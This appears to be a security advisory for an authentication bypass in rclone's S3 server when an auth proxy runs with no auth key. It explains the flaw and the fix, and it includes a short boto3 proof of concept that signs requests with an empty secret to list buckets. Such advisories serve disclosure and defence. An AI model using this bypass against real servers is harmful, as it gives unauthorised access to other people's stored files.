CVE-2026-88018: Authentication Bypass in rclone S3 Server Component via Empty HMAC Secret

The rclone utility includes a server component, rclone serve s3, which exposes an S3-compatible API to serve files from various cloud storage backends. To manage multi-tenant authentication, developers can configure an external authentication proxy program via the --auth-proxy command-line flag.

When rclone is executed with the --auth-proxy flag but the --auth-key flag is omitted, the software enters an insecure default state. In this configuration, the internal S3 authentication middleware dynamically registers client-specified identities against a blank process-wide secret key. This behavior compromises the integrity of the AWS Signature Version 4 (SigV4) verification process.

Because the underlying validation library accepts an empty string as a valid cryptographic key, remote attackers can perform successful signature verification without possessing any prior secrets. This vulnerability is classified under CWE-287 (Improper Authentication) and CWE-306 (Missing Authentication for Critical Function).

The core flaw resides in the interaction between rclone's authPairMiddleware and the S3 validation engine. In vulnerable versions, rclone intercept S3 requests to extract the accessKey from incoming HTTP headers. This extracted key is dynamically added to the global gofakes3 credential store, mapping the client-chosen access key directly to the server's global S3 secret (ws.s3Secret).

When --auth-key is omitted during application startup, ws.s3Secret defaults to an empty string (""). AWS Signature Version 4 (SigV4) relies on Hash-based Message Authentication Codes (HMAC-SHA256) to confirm request integrity. In Go, an empty string is treated as a valid sequence of bytes and can be successfully loaded as an HMAC key.

An attacker can craft an S3 signature using an empty secret key ("") to sign their request. During validation, the server computes the HMAC-SHA256 signature against its own empty secret key, matching the signature provided by the attacker. Consequently, the signature verification check passes.

After bypassing signature verification, the application queries the external --auth-proxy script, passing the arbitrary access key ID. The script maps the request to a virtual filesystem (VFS) and grants full access. Because S3 clients do not transmit the raw secret over the wire, the external script cannot verify the signature and assumes that rclone has already completed security validation.

In vulnerable versions, the application defined authPairMiddleware in cmd/serve/s3/server.go as follows:

func authPairMiddleware(next http.Handler, ws *Server) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		accessKey, _ := parseAccessKeyID(r)
		// set the auth pair
		authPair := map[string]string{
			accessKey: ws.s3Secret, // ws.s3Secret is empty if --auth-key is omitted
		}
		ws.faker.AddAuthKeys(authPair)
		next.ServeHTTP(w, r)
	})
}

To address this security flaw, the patch modified the server component to enforce dynamic cryptographic verification against actual secrets managed by the external proxy. In the patched version, the application no longer registers keys globally with an empty default value. Instead, rclone queries the proxy program for the secret access key and verifies the signature per-request using signature.V4SignVerifyWithSecret:

// auth authenticates the request via the auth proxy.
func (w *Server) auth(r *http.Request, accessKeyID string) (VFS *vfs.VFS, err error) {
	p := w.provider.Proxy()
	VFS, secret, err := p.CallAccessKey(accessKeyID, r.RemoteAddr, false)
	if err != nil {
		return nil, err
	}
	errCode := signature.V4SignVerifyWithSecret(r, secret)
	if errCode == signature.ErrNone {
		return VFS, nil
	}
	// Handle signature mismatch and retry logic if key was rotated
	if signature.GetAPIError(errCode).Code == "SignatureDoesNotMatch" {
		VFS, secret, err = p.CallAccessKey(accessKeyID, r.RemoteAddr, true)
		if err != nil {
			return nil, err
		}
		errCode = signature.V4SignVerifyWithSecret(r, secret)
		if errCode == signature.ErrNone {
			return VFS, nil
		}
	}
	return nil, fmt.Errorf("signature verification failed: %s", signature.GetAPIError(errCode).Code)
}

This architecture isolates secrets dynamically and ensures that signature verification is performed using a legitimate, non-empty secret retrieved from the proxy.

To exploit this vulnerability, an unauthenticated attacker requires network connectivity to the target S3 port. No system credentials or administrative privileges are needed.

The attacker crafts an S3 request targeting a specific identity name that they expect is resolved by the external proxy script. By generating an AWS SigV4 signature using an empty string as the secret access key, the request bypasses the initial verification step.

Below is a conceptual Python example demonstrating how an attacker can leverage the AWS SDK (boto3) to interact with a vulnerable S3 server using an empty key:

import boto3
from botocore.config import Config
 
TARGET_URL = "http://vulnerable-rclone-instance:8080"
CHOSEN_IDENTITY = "target_user"
 
s3_client = boto3.client(
    's3',
    endpoint_url=TARGET_URL,
    aws_access_key_id=CHOSEN_IDENTITY,
    aws_secret_access_key="",  # Exploits the empty HMAC validation flaw
    config=Config(signature_version='s3v4')
)
 
try:
    # Attempting to access storage bucket resources
    response = s3_client.list_buckets()
    print("[+] Authentication bypassed successfully")
    print("[+] Discovered Buckets:", response.get('Buckets', []))
except Exception as e:
    print(f"[-] Request failed: {e}")

When rclone receives this request, it validates the signature using the empty key, matches the attacker-supplied signature, and queries the authentication proxy script. The proxy script returns the virtual directory structure, which rclone then transmits back to the attacker.

The impact of this vulnerability is critical. An unauthenticated remote attacker can read, write, or delete arbitrary files on any remote storage backend integrated with the S3 proxy system.

The CVSS v3.1 score is calculated as 9.8 (CRITICAL), with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The attack complexity is low, and no user interaction is required. Confidentiality, integrity, and availability are all severely affected.

Furthermore, because the proxy script automatically resolves the target directory structure for the requested accessKeyID, attackers can systematically enumerate and access files associated with different tenant accounts, leading to a complete compromise of multi-tenant storage environments.

The primary remediation strategy is to upgrade rclone to version 1.75.1 or later. This release restructures the auth-proxy workflow to securely request the S3 secret from the proxy and validate signatures locally.

Deploying the patch introduces a breaking change. Custom proxy scripts must be updated to return the corresponding secret key in the _secret_access_key field in their JSON responses. If the proxy does not provide this value, rclone will reject the connection.

For systems that cannot be upgraded immediately, administrators must set a non-empty static password using the --auth-key flag. This action enforces signature verification against a non-empty key, mitigating the unauthenticated bypass condition. Additionally, firewall rules should be implemented to restrict access to the S3 service port to authorized IP addresses only.